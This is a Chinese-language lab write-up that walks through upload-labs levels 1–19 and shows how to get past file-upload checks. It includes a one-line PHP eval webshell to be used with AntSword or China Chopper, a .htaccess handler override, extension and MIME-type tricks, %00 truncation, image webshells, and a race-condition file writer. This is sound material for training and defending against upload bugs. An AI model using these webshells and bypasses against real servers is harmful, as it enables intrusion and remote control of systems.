upload-labs靶场(1-19关)

news2024/11/26 15:15:03

upload-labs靶场

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。

注意:能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

为了方便只有第一关用了一句话木马。

Pass-01

思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

image-20240727084800801

步骤一:写一个1.jpg在里面写php代码

image-20240726114010472

步骤二:BP抓包

image-20240726114234296

步骤三:修改filename改成php扩展名

image-20240726114334395

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

image-20240726114434513

我们如果写一句话木马即可控制他的电脑

<?php @eval($_POST['cmd']);?>

使用工具–蚂蚁,中国菜刀

点击添加

image-20240726115247637

双击

image-20240726115339851

连接成功

image-20240726115329078

Ps:其他关就不用一句话木马了。

Pass-02

思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

image-20240727085006288

步骤一:抓包修改内容类型位图片类型

image-20240726135339921

步骤三:访问web下上传的文件

image-20240726135225933

Pass-03

思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨.

也可以写.php3.php5绕过,但某些环境不支持打开php3文件。

image-20240727085207751

image-20240726135933051

注:有一些使用phpstudy搭建的upload-labs可能无法加载出这个页面,这是因为phpstudy的配置文件需要修改,打开phpstudy的httpd-conf配置文件,修改 #AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5 .php3,注意前面的#要删除,这时即可正常访问图片地址。

Pass-04

思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。

ps:某些环境不支持,在这里我们找的在线靶场.

image-20240727085400292

phpinfo.jpg

<?php phpinfo(); ?>

1.htaccess

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

Pass-05

思路:这关没有转换大小写的代码。

image-20240726154340796

上传一个5.Php文件,直接上传成功

image-20240727090944088

Pass-06

思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改

image-20240726154946584

image-20240727092814305

image-20240727092829879

Pass-07

思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

image-20240727092921234

BP抓包

image-20240727093124760

image-20240727093103444

Pass-08

思路:缺少去除字符串::$DATA

image-20240727093205511

BP抓包

image-20240727093418007

去除URL中的::$DATA

image-20240727093500378

image-20240727093531647

Pass-09

思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

所以我们应该修改文件名为:9.php. .,两个点中间有个空格

image-20240727093812130

BP抓包

image-20240727094021331

image-20240727094034556

Pass-10

思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp

image-20240727094243770

image-20240727094541598

Pass-11

思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境

image-20240727094649216

image-20240727103656440

image-20240727103821123

image-20240727103837677

image-20240727104215475

Pass-12

$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。

PHP版本小于5.3

image-20240727104959921

image-20240727105153189

Pass-13

制作一个图片马。

在Windows系统中制作图片马的方法:

(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

猫1

(2)新建一个文本(文本名为cat2.txt),内容为:

<?php phpinfo();?>

注意:cat1.jpg和cat2.txt要在同一个文件目录下。

3)win+r,输入cmd,进入终端,输入如下代码:

cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

image-20240727110915318

然后需要一个文件包含漏洞

image-20240727111522182

将include.php放到upload文件夹

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

image-20240727112615781

Pass-14

与Pass-13一样

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解。

image-20240727113235247

其余步骤与Pass-13相同

image-20240727113313217

Pass-16

本pass重新渲染了图片!

需要有一个二次渲染的图片
如下就是一张:
22

图片上传

image-20240727114431566

Pass-17(条件竞争)

提示:需要代码审计!

image-20240727115021145

步骤一:新建一句话木马17.php,代码为:

<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>

只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件

抓包

image-20240727115914769

发送到攻击模块

bp设置无限发送空的Payloads,来让它一直上传该文件

image-20240727120042623

image-20240727121032237

Pass-18

这道题有些问题导致上传的文件传入不进去

在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码

image-20240727122744637

image-20240727122947328

然后上传一个图片码跟Pass-13一样

image-20240727123647068

Pass-19

空格绕过、点绕过,大小写绕过等等均可。

image-20240727124018471

image-20240727124211821

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1962103.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1._专题1_双指针_C++

双指针 常见的双指针有两种形式&#xff0c;一种是对撞指针&#xff0c;一种是左右指针。对撞指针&#xff1a;一般用于顺序结构中&#xff0c;也称左右指针。 对撞指针从两端向中间移动。一个指针从最左端开始&#xff0c;另一个从最右端开始&#xff0c;然后逐渐往中间逼近…

php 一个极简的类例子

https://andi.cn/page/621627.html

WATLOW Power Series SSR User’s Manual

WATLOW Power Series SSR User’s Manual

RTC实时通信技术:GPT-4o急速响应背后的技术浅谈

RTC实时通信技术&#xff1a;GPT-4o急速响应背后的技术浅谈 RTC实时通信技术概述 RTC&#xff08;Real Time Communication&#xff09;&#xff0c;即实时通信技术&#xff0c;是实时音视频通信的简称。其核心在于实现低延迟、高质量的音视频数据传输和处理&#xff0c;广泛…

Java使用POI创建带样式和公式的Excel文件

这篇文章将演示如何使用POI 创建带样式和公式的Excel文件。 代码 import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook;import java.io.FileOutputStream; import java.io.IOException;public class ExcelDemo {public static void mai…

更换源(局域网没有网的情况)

我们在一个局域网没有网的情况下&#xff0c;可以用我们自己的这个仓库&#xff0c;下载软件 首先下载我们需要的环境&#xff1a; 需要用到的安装包&#xff1a;jdk-8u211-linux-x64.tar.gz &#xff0c;nexus-3.69.0-02-java8-unix.tar.gz 都在官网下载即可 Download Nex…

AV1帧间预测(二):运动补偿

运动补偿(Motion Compensation,MC)是帧间预测最基础的工具&#xff0c;AV1支持两种运动补偿方式&#xff0c;一种是传统的平移运动补偿&#xff0c;另一种是仿射运动补偿。下面分别介绍这两种运动补偿方法。 平移运动补偿 平移运动补偿是最传统的运动补偿方式&#xff0c;H.26…

vscode docker 查看

以root权限启动vscode sudo code --no-sandbox --disable-gpu-sandbox --user-data-dir/root/.vscode/安装docker插件

C++ | Leetcode C++题解之第307题区域和检索-数组可修改

题目&#xff1a; 题解&#xff1a; class NumArray { private:vector<int> tree;vector<int> &nums;int lowBit(int x) {return x & -x;}void add(int index, int val) {while (index < tree.size()) {tree[index] val;index lowBit(index);}}int p…

基于Django与spark的国漫推荐系统

文章目录 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主项目介绍每文一语 有需要本项目的代码或文档以及全部资源&#xff0c;或者部署调试可以私信博主 项目介绍 近年来&#xff0c;随着互联网的蓬勃发展&#xff0c;企事业单位对信息的管理提…

数据库安全:MySQL文件权限的安全问题和解决方案

「作者简介」&#xff1a;冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础著作 《网络安全自学教程》&#xff0c;适合基础薄弱的同学系统化的学习网络安全&#xff0c;用最短的时间掌握最核心的技术。 这一章节我们需…

Windows本地构建镜像推送远程仓库

下载 Docker Desktop https://smartidedl.blob.core.chinacloudapi.cn/docker/20210926/Docker-win.exe 使用本地docker构建镜像和推送至远程仓库&#xff08;harbor&#xff09; 1、开启docker的2375端口 2、配置远程仓库push镜像可以通过http harbor.soujer.com:5000ps&am…

RabbitMQ快速入门(MQ的概念、安装RabbitMQ、在 SpringBoot 项目中集成 RabbitMQ )

文章目录 1. 补充知识&#xff1a;同步通讯和异步通讯1.1 同步通讯1.2 异步通讯 2. 同步调用的缺点2.1 业务耦合2.2 性能较差2.3 级联失败 3. 什么情况下使用同步调用4. 异步调用5. 异步调用的优点和缺点5.1 异步调用的优点5.1.1 解除耦合&#xff0c;拓展性强5.1.2 无需等待&a…

智能座舱背后主流车机平台(SA8155/SA8295)的高通Hexagon DSP是什么?

智能座舱背后主流车机平台(SA8155/SA8295)的高通Hexagon DSP是什么&#xff1f; 一、高通Hexagon DSP的辉煌发展历程 高通&#xff0c;作为全球领先的无线通信技术创新者&#xff0c;其处理器技术一直走在行业前列。随着智能手机和物联网设备的普及&#xff0c;对处理器性能的…

排序算法:冒泡排序,golang实现

目录 前言 冒泡排序 代码示例 1. 算法包 2. 冒泡排序代码 3. 模拟排序 4. 运行程序 5. 从大到小排序 循环细节 外层循环 内层循环 总结 循环次数测试 假如 10 条数据进行排序 假如 20 条数据进行排序 假如 30 条数据进行排序 冒泡排序的适用场景 1. 数据量非…

大数据-55 Kafka sh脚本使用 与 JavaAPI使用 topics.sh producer.sh consumer.sh kafka-clients

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

WireShark看tcp网速

1、过滤对应的tcp流 2、统计->TCP流图形->窗口尺寸 3、"接收通过窗口值/时间" 可以得到tcp的接收速度

强化学习时序差分算法之Sarsa算法——以悬崖漫步环境为例

1.导入必要的库环境&#xff0c;代码如下所示。 import matplotlib.pyplot as plt import numpy as np from tqdm import tqdm 2.本悬崖漫步环境中无需提供奖励函数以及状态转移函数&#xff0c;而需提供一个与智能体进行交互的step()函数&#xff0c;该函数输入为智能体当前…

Python time模块格式化时间的N种技巧

文末赠免费精品编程资料~~ 是不是经常对着电脑屏幕上的日期时间发呆&#xff0c;心想&#xff1a;“要是能随心所欲地格式化这些数字就好了。”今天&#xff0c;我们就一起探索Python中的时间宝藏——time模块&#xff0c;让你轻松玩转时间显示&#xff0c;从新手进阶为时间格…

AI算力的新时代:智算中心的挑战与创新

随着AI的发展&#xff0c;作为AI三要素算法、数据、算力中的基础设施——算力首先迎来了高速的发展。智算中心作为AI时代承载算力的关键基础设施&#xff0c;在政策、市场的双重驱动下进入了高速建设周期&#xff0c;其在推动数字经济发展和技术进步方面发挥着重要作用&#xf…